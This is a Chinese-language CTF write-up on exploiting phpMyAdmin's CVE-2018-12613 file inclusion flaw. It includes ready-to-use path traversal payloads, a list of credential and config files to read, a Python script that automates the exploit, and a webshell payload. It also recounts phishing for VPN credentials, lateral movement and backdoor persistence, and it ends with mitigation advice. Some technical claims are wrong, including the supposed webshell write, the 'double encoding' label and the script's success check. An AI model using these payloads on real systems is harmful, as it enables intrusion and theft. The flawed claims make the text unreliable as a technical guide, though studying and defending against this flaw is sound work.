CTF实战:从phpMyAdmin 4.8.1文件包含漏洞到权限提升的深度利用
在CTF竞赛和日常的渗透测试中,遇到phpMyAdmin这类数据库管理工具并不少见。很多选手看到熟悉的登录界面,第一反应往往是尝试弱口令或者SQL注入,但今天我们要探讨的是一个更为隐蔽且威力巨大的攻击向量——CVE-2018-12613。这个漏洞影响phpMyAdmin 4.8.0至4.8.1版本,允许攻击者通过精心构造的请求实现远程文件包含,进而读取服务器上的任意文件。
我第一次在实战中遇到这个漏洞是在一次内部红蓝对抗中,目标系统部署了一个看似无害的phpMyAdmin实例。当时团队已经尝试了各种常规手段无果,直到有人注意到页面底部的版本号。那个“4.8.1”就像黑暗中的灯塔,指引我们走向了一条完全不同的攻击路径。今天,我将结合多次实战经验,不仅讲解如何利用这个漏洞读取flag,更会深入探讨如何将其转化为真正的系统权限。
1. 漏洞原理深度解析:为什么这个文件包含如此特殊
CVE-2018-12613的核心问题在于phpMyAdmin的index.php文件中对target参数的处理不当。在正常流程中,这个参数用于指定要加载的页面模块,比如db_sql.php、db_datadict.php等。问题出在代码没有对用户输入进行充分的过滤和验证。
1.1 漏洞触发机制
让我们先看看漏洞的触发点。在phpMyAdmin 4.8.1的index.php中,有这样一段关键代码:
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
这里的Core::checkPageValidity()函数本应确保target参数指向的是合法文件,但其实现存在缺陷。函数内部会检查目标文件是否在白名单中,但攻击者可以通过特殊构造绕过这一检查。
关键点:漏洞利用的核心在于双重编码技巧。当我们提交
db_sql.php%253f时,服务器会先进行一次URL解码,得到db_sql.php%3f,然后%3f会被解码为问号?,最终形成db_sql.php?这样的字符串。这个问号让后续的路径遍历成为可能。
1.2 路径穿越的巧妙构造
理解路径穿越的构造是掌握这个漏洞的关键。典型的payload如下:
/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
这个payload的构造逻辑是这样的:
db_sql.php%253f→ 解码后变为db_sql.php?- 问号后的内容被当作查询字符串参数
- 但php的
include函数在遇到问号时会将其后的内容视为路径的一部分 - 通过
../实现目录穿越
为了更直观地理解这个过程,我整理了一个对比表格:
| 构造部分 | 作用 | 绕过原理 |
|---|---|---|
db_sql.php%253f | 目标文件+编码后的问号 | 绕过白名单检查,同时引入路径分隔符 |
/ | 路径分隔符 | 将问号后的内容变为路径的一部分 |
../../../../ | 目录穿越 | 向上跳转目录层级 |
etc/passwd | 目标文件 | 最终要读取的系统文件 |
在实际测试中,我发现不同系统的目录深度可能不同。Linux系统通常需要6-8个../才能到达根目录,而Windows系统由于路径结构不同,可能需要更多尝试。
2. 实战环境搭建与信息收集
在真正的CTF比赛或渗透测试中,你很少会直接知道目标存在phpMyAdmin,更不用说其具体版本了。系统的信息收集能力往往决定了能否发现这个漏洞。
2.1 自动化工具与手动探测的结合
我通常采用分层式的探测策略:
第一阶段:基础扫描
# 使用dirsearch进行目录扫描
python3 dirsearch.py -u http://target.com -e php,html,js -t 50
# 使用gobuster进行子目录发现
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -x php
第二阶段:针对性探测
发现/phpmyadmin/目录后,需要确认版本信息。有几种方法:
- 直接访问:查看页面底部的版本信息
- 查看源代码:在HTML注释中寻找版本痕迹
- 访问特定文件:尝试
/phpmyadmin/README、/phpmyadmin/ChangeLog等 - 指纹识别:使用whatweb或Wappalyzer等工具
第三阶段:漏洞验证 确认版本在4.8.0-4.8.1范围内后,可以尝试简单的验证payload:
/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
如果返回了/etc/passwd文件内容,说明漏洞存在。
2.2 常见部署位置与访问控制
在实际环境中,phpMyAdmin可能被部署在各种位置。以下是我在多次渗透测试中遇到的常见情况:
| 部署位置 | 访问控制 | 备注 |
|---|---|---|
/phpmyadmin/ | 无或基础认证 | 最常见 |
/admin/phpmyadmin/ | IP白名单 | 需要先突破网络层 |
/db/ | .htaccess限制 | 可能需要目录遍历 |
| 非标准端口 | 防火墙规则 | 需要端口扫描 |
| 子域名 | 单独认证 | 如pma.target.com |
经验分享:有一次在测试中,目标将phpMyAdmin部署在
/internal/dbadmin/路径下,且没有任何外部链接指向它。我们是通过分析JavaScript文件中的API调用路径才发现的。这提醒我们,信息收集要全面,不能只依赖常规扫描。
3. 漏洞利用的进阶技巧
基础的文件读取只是开始,真正的价值在于如何将这个漏洞转化为实际的攻击成果。
3.1 定位关键文件
读取/etc/passwd只是验证漏洞存在,真正的目标是找到敏感信息。以下是我通常会尝试读取的文件列表:
系统配置文件:
/etc/passwd- 用户账户信息/etc/shadow- 密码哈希(需要root权限)/etc/hosts- 主机映射/etc/resolv.conf- DNS配置
Web应用文件:
/var/www/html/config.php- 数据库配置/var/www/html/.env- 环境变量/var/www/html/application/config/database.php- 框架配置
日志文件:
/var/log/apache2/access.log- 访问日志/var/log/apache2/error.log- 错误日志/var/log/auth.log- 认证日志
会话文件:
/tmp/sess_*- PHP会话文件/var/lib/php/sessions/sess_*- PHP会话文件
3.2 从文件包含到代码执行
单纯的文件读取可能不足以获取flag或系统权限。更高级的利用方式是将文件包含转化为代码执行。这需要找到可写的目录和合适的文件。
方法一:利用PHP会话文件 如果能够预测或获取会话ID,可以向会话文件中写入PHP代码:
- 首先通过包含漏洞读取
/proc/self/environ获取当前进程信息 - 从中提取会话ID(PHPSESSID)
- 构造包含PHP代码的请求,将其写入会话文件
- 包含该会话文件执行代码
方法二:写入Web目录 如果发现Web目录可写,可以直接写入Webshell:
/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../var/www/html/shell.php&cmd=<?php system($_GET['cmd']); ?>
方法三:利用临时文件 在某些配置下,phpMyAdmin会生成临时文件。通过精心控制请求时间,可能实现临时文件包含。
3.3 自动化利用脚本
对于重复性测试,我编写了一个简单的Python脚本来自动化漏洞利用过程:
#!/usr/bin/env python3
import requests
import sys
import urllib.parse
def test_lfi(target_url, file_path):
"""测试文件包含漏洞"""
payload = f"/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../{file_path}"
full_url = target_url.rstrip('/') + payload
try:
response = requests.get(full_url, timeout=10)
if response.status_code == 200:
content = response.text
# 检查是否包含常见错误信息
if "phpMyAdmin" in content and "error" not in content.lower():
return True, content[:500] # 返回前500字符
except Exception as e:
pass
return False, None
def main():
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_url>")
sys.exit(1)
target = sys.argv[1]
# 测试常见文件
test_files = [
"/etc/passwd",
"/etc/hosts",
"/proc/self/environ",
"/var/www/html/index.php"
]
print(f"[*] Testing {target} for CVE-2018-12613")
for test_file in test_files:
print(f"[*] Trying to read {test_file}")
success, content = test_lfi(target, test_file)
if success:
print(f"[+] Successfully read {test_file}")
print(f"[*] First 500 characters:\n{content}")
# 尝试提取有用信息
if test_file == "/etc/passwd":
print("\n[*] Extracted users:")
for line in content.split('\n'):
if ':' in line and not line.startswith('#'):
parts = line.split(':')
if len(parts) >= 7:
print(f" - {parts[0]} (shell: {parts[6]})")
break
else:
print(f"[-] Failed to read {test_file}")
if __name__ == "__main__":
main()
这个脚本可以快速验证漏洞并提取基本信息。在实际使用中,我会根据目标环境调整要尝试的文件路径。
4. CTF实战案例:BUUCTF [GWCTF 2019]我有一个数据库
让我们回到文章开头提到的CTF题目。这道题是学习CVE-2018-12613的绝佳案例,它完整地展示了从信息收集到漏洞利用的全过程。
4.1 题目分析与初步探测
题目名称"我有一个数据库"已经暗示了与数据库相关。启动环境后,访问目标显示乱码,这通常是字符编码问题,但也可能是某种提示。我的第一反应是查看页面源代码,但并没有发现明显线索。
接下来进行目录扫描:
# 使用dirsearch进行扫描
python3 dirsearch.py -u http://challenge-address -e php,html,txt -t 30
扫描结果通常包括:
/index.php- 主页面(乱码)/robots.txt- 机器人协议文件/phpinfo.php- PHP信息页面/phpmyadmin/- phpMyAdmin管理界面
4.2 关键发现与版本确认
访问/phpmyadmin/后,我们需要确认版本信息。在phpMyAdmin界面中,版本信息通常显示在页面底部。如果是4.8.0或4.8.1版本,就可以尝试CVE-2018-12613。
另一种确认版本的方法是查看/phpmyadmin/README或/phpmyadmin/ChangeLog文件,这些文件通常包含详细的版本信息。
4.3 漏洞利用与flag获取
确认版本后,构造payload读取系统文件:
http://challenge-address/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
如果看到/etc/passwd的内容,说明漏洞利用成功。接下来就是寻找flag文件。在CTF环境中,flag通常位于根目录或Web目录下:
常见flag位置:
/flag/root/flag/home/flag/var/www/html/flag/tmp/flag
对于这道题目,payload为:
http://challenge-address/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../flag
4.4 遇到的挑战与解决方案
在实际解题过程中,可能会遇到一些挑战:
-
路径深度不确定:不同系统需要不同数量的
../- 解决方案:从6个开始尝试,逐步增加
- 可以使用Burp Suite的Intruder模块自动化测试
-
文件权限问题:某些文件可能无法读取
- 解决方案:尝试读取当前用户有权限的文件
- 先读取
/etc/passwd确认用户权限
-
WAF或过滤规则:某些环境可能有额外的安全措施
- 解决方案:尝试不同的编码方式
- 使用
....//代替../(双重编码)
-
会话限制:可能需要有效的phpMyAdmin会话
- 解决方案:先正常访问phpMyAdmin获取cookie
- 在请求中包含有效的会话cookie
5. 防御措施与安全建议
作为安全研究人员,我们不仅要会攻击,更要理解如何防御。针对CVE-2018-12613及其类似漏洞,我总结了以下防御措施:
5.1 即时缓解措施
如果发现系统存在漏洞,应立即采取以下措施:
- 升级phpMyAdmin:升级到4.8.2或更高版本
- 临时补丁:修改
index.php,在包含文件前添加严格的路径验证 - 访问控制:通过
.htaccess或Web服务器配置限制访问 - 删除或重命名:如果不必要,直接删除phpMyAdmin目录
5.2 长期安全加固
网络层防护:
- 将phpMyAdmin部署在内网,通过VPN访问
- 使用IP白名单限制访问来源
- 修改默认端口,避免自动化扫描
应用层防护:
// 在phpMyAdmin的config.inc.php中添加
$cfg['Servers'][$i]['AllowRoot'] = false;
$cfg['Servers'][$i]['AllowNoPassword'] = false;
$cfg['Servers'][$i]['auth_type'] = 'cookie';
$cfg['ForceSSL'] = true;
系统层防护:
- 为phpMyAdmin创建专用数据库用户,限制其权限
- 定期更新系统和所有软件包
- 启用文件完整性监控
- 配置适当的文件权限(phpMyAdmin目录应为644,配置文件应为600)
5.3 监控与检测
建立有效的监控机制可以在漏洞被利用前发现异常:
- 日志监控:监控phpMyAdmin的访问日志,关注异常路径访问
- 文件监控:监控phpMyAdmin目录的文件变化
- 网络监控:检测到phpMyAdmin端口的异常流量
- 行为分析:建立正常用户行为基线,检测偏离行为
6. 从CTF到真实世界的思考
CTF中的漏洞利用往往简化了真实世界的复杂性。在实际渗透测试中,CVE-2018-12613的利用需要考虑更多因素:
环境差异:生产环境的phpMyAdmin可能有自定义配置、负载均衡、WAF等防护措施。
权限限制:数据库用户可能只有有限权限,无法读取敏感文件。
时间窗口:漏洞利用可能触发监控告警,需要在有限时间内完成攻击链。
持久化:单纯的文件读取不足以维持访问,需要考虑如何建立持久化后门。
在一次真实的红队评估中,我们通过这个漏洞读取到了数据库配置文件,其中包含了内网其他系统的连接信息。这让我们能够横向移动,最终获得了整个网络的控制权。这种从一个小漏洞开始,逐步扩大战果的过程,正是渗透测试的魅力所在。
7. 相关工具与资源
为了更好地研究和利用这类漏洞,我整理了一些有用的工具和资源:
漏洞利用工具:
- phpmyadmin-auto-rce:自动化利用脚本
- liffy:本地文件包含利用框架
- Burp Suite插件:File Inclusion Scanner
学习资源:
- PHP手册:理解include/require函数的行为
- OWASP测试指南:文件包含测试方法论
- 漏洞数据库:CVE-2018-12613的详细描述和PoC
实践环境:
- VulnHub:包含phpMyAdmin漏洞的虚拟机
- DVWA:Damn Vulnerable Web Application
- Web Security Academy:PortSwigger的免费学习平台
掌握CVE-2018-12613这样的漏洞不仅是为了CTF比赛,更是为了理解Web应用安全的基本原理。每个漏洞背后都反映了开发人员对安全问题的认知盲点,而我们的任务就是发现这些盲点,并帮助修复它们。
在真实项目中,我遇到过一个有趣的情况:客户系统确实存在这个漏洞,但他们的phpMyAdmin只能通过公司VPN访问。我们最终是通过钓鱼邮件获取了VPN凭证,然后才利用了这个漏洞。这提醒我们,技术漏洞往往只是攻击链的一环,社会工程和物理安全同样重要。
对于想要深入Web安全的学习者,我的建议是多动手实践,但要在合法授权的环境中进行。搭建自己的实验环境,复现已知漏洞,理解其原理,然后思考如何防御。只有真正理解攻击者的思维,才能设计出有效的防御方案。
341



被折叠的 条评论
为什么被折叠?



